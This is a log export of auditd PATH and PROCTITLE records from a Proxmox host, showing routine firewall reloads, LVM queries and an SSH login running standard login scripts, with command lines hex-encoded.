{"@timestamp":1781964205633,"@rawstring":"node=pve type=PATH msg=audit(1781964205.633:60046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.918:62715): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964205633,"@rawstring":"node=pve type=PATH msg=audit(1781964205.633:60046): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.913:62714): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=PATH msg=audit(1781964205.632:60045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.908:62713): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=PATH msg=audit(1781964205.632:60045): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.902:62712): proctitle=697073657400726573746F7265"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=PATH msg=audit(1781964205.632:60044): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.897:62711): proctitle=\"ip6tables-save\""} {"@timestamp":1781964205628,"@rawstring":"node=pve type=PATH msg=audit(1781964205.628:60043): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.890:62710): proctitle=\"iptables-save\""} {"@timestamp":1781964205628,"@rawstring":"node=pve type=PATH msg=audit(1781964205.628:60043): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.887:62709): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964205628,"@rawstring":"node=pve type=PATH msg=audit(1781964205.628:60043): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.884:62708): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964205621,"@rawstring":"node=pve type=PATH msg=audit(1781964205.621:60042): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.883:62707): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964205621,"@rawstring":"node=pve type=PATH msg=audit(1781964205.621:60042): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.883:62706): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964205614,"@rawstring":"node=pve type=PATH msg=audit(1781964205.614:60041): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.879:62705): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964205614,"@rawstring":"node=pve type=PATH msg=audit(1781964205.614:60041): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.873:62704): proctitle=\"ip6tables-save\""} {"@timestamp":1781964205608,"@rawstring":"node=pve type=PATH msg=audit(1781964205.608:60040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.867:62703): proctitle=\"iptables-save\""} {"@timestamp":1781964205608,"@rawstring":"node=pve type=PATH msg=audit(1781964205.608:60040): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805862,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.862:62702): proctitle=69707365740073617665"} {"@timestamp":1781964205600,"@rawstring":"node=pve type=PATH msg=audit(1781964205.600:60039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.856:62701): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964205600,"@rawstring":"node=pve type=PATH msg=audit(1781964205.600:60039): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.850:62700): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964205595,"@rawstring":"node=pve type=PATH msg=audit(1781964205.595:60037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.712:62699): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205595,"@rawstring":"node=pve type=PATH msg=audit(1781964205.595:60037): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.712:62698): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205590,"@rawstring":"node=pve type=PATH msg=audit(1781964205.590:60036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.711:62697): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205590,"@rawstring":"node=pve type=PATH msg=audit(1781964205.590:60036): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.705:62696): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205584,"@rawstring":"node=pve type=PATH msg=audit(1781964205.584:60035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.705:62695): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205584,"@rawstring":"node=pve type=PATH msg=audit(1781964205.584:60035): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.705:62694): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205579,"@rawstring":"node=pve type=PATH msg=audit(1781964205.579:60034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.039:62693): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964205579,"@rawstring":"node=pve type=PATH msg=audit(1781964205.579:60034): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964805.015:62692): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964205573,"@rawstring":"node=pve type=PATH msg=audit(1781964205.573:60033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964804.993:62691): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964205573,"@rawstring":"node=pve type=PATH msg=audit(1781964205.573:60033): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964804210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964804.210:62690): proctitle=\"whoami\""} {"@timestamp":1781964205568,"@rawstring":"node=pve type=PATH msg=audit(1781964205.568:60032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.696:62689): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205568,"@rawstring":"node=pve type=PATH msg=audit(1781964205.568:60032): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.696:62688): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205562,"@rawstring":"node=pve type=PATH msg=audit(1781964205.562:60031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.696:62687): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205562,"@rawstring":"node=pve type=PATH msg=audit(1781964205.562:60031): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.682:62686): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205556,"@rawstring":"node=pve type=PATH msg=audit(1781964205.556:60030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.682:62685): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205556,"@rawstring":"node=pve type=PATH msg=audit(1781964205.556:60030): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964800682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964800.682:62684): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964205552,"@rawstring":"node=pve type=PATH msg=audit(1781964205.552:60029): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.289:62683): proctitle=636174002F7573722F6C6F63616C2F72766D2F52454C45415345"} {"@timestamp":1781964205552,"@rawstring":"node=pve type=PATH msg=audit(1781964205.552:60029): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.287:62682): proctitle=636174002F7573722F6C6F63616C2F72766D2F56455253494F4E"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PATH msg=audit(1781964205.548:60028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.263:62681): proctitle=2F62696E2F7368002F7573722F62696E2F7768696368007375646F"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PATH msg=audit(1781964205.548:60028): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.239:62680): proctitle=7472005B412D5A5D005B612D7A5D"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PATH msg=audit(1781964205.548:60027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.235:62679): proctitle=64706B67002D2D7072696E742D617263686974656374757265"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PATH msg=audit(1781964205.548:60027): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.232:62677): proctitle=68656164002D6E0031"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PATH msg=audit(1781964205.548:60026): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.233:62678): proctitle=61776B002D462E007B7072696E742024317D"} {"@timestamp":1781964205543,"@rawstring":"node=pve type=PATH msg=audit(1781964205.543:60025): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.232:62676): proctitle=61776B002D463D0024313D3D2256455253494F4E5F4944227B67737562282F222F2C2222293B7072696E742024327D002F6574632F6F732D72656C65617365"} {"@timestamp":1781964205543,"@rawstring":"node=pve type=PATH msg=audit(1781964205.543:60025): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.228:62673): proctitle=68656164002D6E0031"} {"@timestamp":1781964205543,"@rawstring":"node=pve type=PATH msg=audit(1781964205.543:60025): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.228:62674): proctitle=7472002D640022"} {"@timestamp":1781964205537,"@rawstring":"node=pve type=PATH msg=audit(1781964205.537:60024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.229:62675): proctitle=7472005B412D5A5D005B612D7A5D"} {"@timestamp":1781964205537,"@rawstring":"node=pve type=PATH msg=audit(1781964205.537:60024): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.227:62672): proctitle=61776B002D463D0024313D3D224944227B7072696E742024327D002F6574632F6F732D72656C65617365"} {"@timestamp":1781964205529,"@rawstring":"node=pve type=PATH msg=audit(1781964205.529:60023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.220:62671): proctitle=2F62696E2F7368002F7573722F62696E2F7768696368007768696368"} {"@timestamp":1781964205529,"@rawstring":"node=pve type=PATH msg=audit(1781964205.529:60023): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.218:62670): proctitle=2F62696E2F7368002F7573722F62696E2F7768696368007768656E6365"} {"@timestamp":1781964205525,"@rawstring":"node=pve type=PATH msg=audit(1781964205.525:60022): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.217:62669): proctitle=2F62696E2F7368002F7573722F62696E2F7768696368002D2D736B69702D616C696173002D2D736B69702D66756E6374696F6E73007768696368"} {"@timestamp":1781964205525,"@rawstring":"node=pve type=PATH msg=audit(1781964205.525:60022): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.205:62668): proctitle=6469726E616D65002F7573722F6C6F63616C2F72766D"} {"@timestamp":1781964205518,"@rawstring":"node=pve type=PATH msg=audit(1781964205.518:60021): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.189:62667): proctitle=7073002D70003630303833002D6F0075636F6D6D3D"} {"@timestamp":1781964205518,"@rawstring":"node=pve type=PATH msg=audit(1781964205.518:60021): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.170:62666): proctitle=7073002D70003630303833002D6F0075636F6D6D3D"} {"@timestamp":1781964205512,"@rawstring":"node=pve type=PATH msg=audit(1781964205.512:60020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.156:62665): proctitle=7073002D70003630303833002D6F0075636F6D6D3D"} {"@timestamp":1781964205512,"@rawstring":"node=pve type=PATH msg=audit(1781964205.512:60020): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.143:62664): proctitle=72756E2D7061727473002D2D6C697374002D2D7265676578005E5B612D7A412D5A302D395F5D5B612D7A412D5A302D392E5F2D5D2A5C2E736824002F6574632F70726F66696C652E64"} {"@timestamp":1781964204098,"@rawstring":"node=pve type=PATH msg=audit(1781964204.098:60019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796141,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.141:62663): proctitle=6964002D75"} {"@timestamp":1781964204098,"@rawstring":"node=pve type=PATH msg=audit(1781964204.098:60019): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.137:62662): proctitle=\"-bash\""} {"@timestamp":1781964204063,"@rawstring":"node=pve type=PATH msg=audit(1781964204.063:60018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.133:62659): proctitle=2F7573722F6C69622F6F70656E7373682F737368642D73657373696F6E002D44002D52"} {"@timestamp":1781964204063,"@rawstring":"node=pve type=PATH msg=audit(1781964204.063:60018): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.122:62656): proctitle=2F62696E2F7368002F6574632F7570646174652D6D6F74642E642F31302D756E616D65"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PATH msg=audit(1781964203.298:60017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.120:62655): proctitle=2F7573722F62696E2F656E76002D6900504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E0072756E2D7061727473002D2D6C7362737973696E6974002F6574632F7570646174652D6D6F74642E64"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PATH msg=audit(1781964203.298:60017): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964796120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964796.120:62654): proctitle=2F7573722F62696E2F656E76002D6900504154483D2F7573722F6C6F63616C2F7362696E3A2F7573722F6C6F63616C2F62696E3A2F7573722F7362696E3A2F7573722F62696E3A2F7362696E3A2F62696E0072756E2D7061727473002D2D6C7362737973696E6974002F6574632F7570646174652D6D6F74642E64"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PATH msg=audit(1781964203.298:60016): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 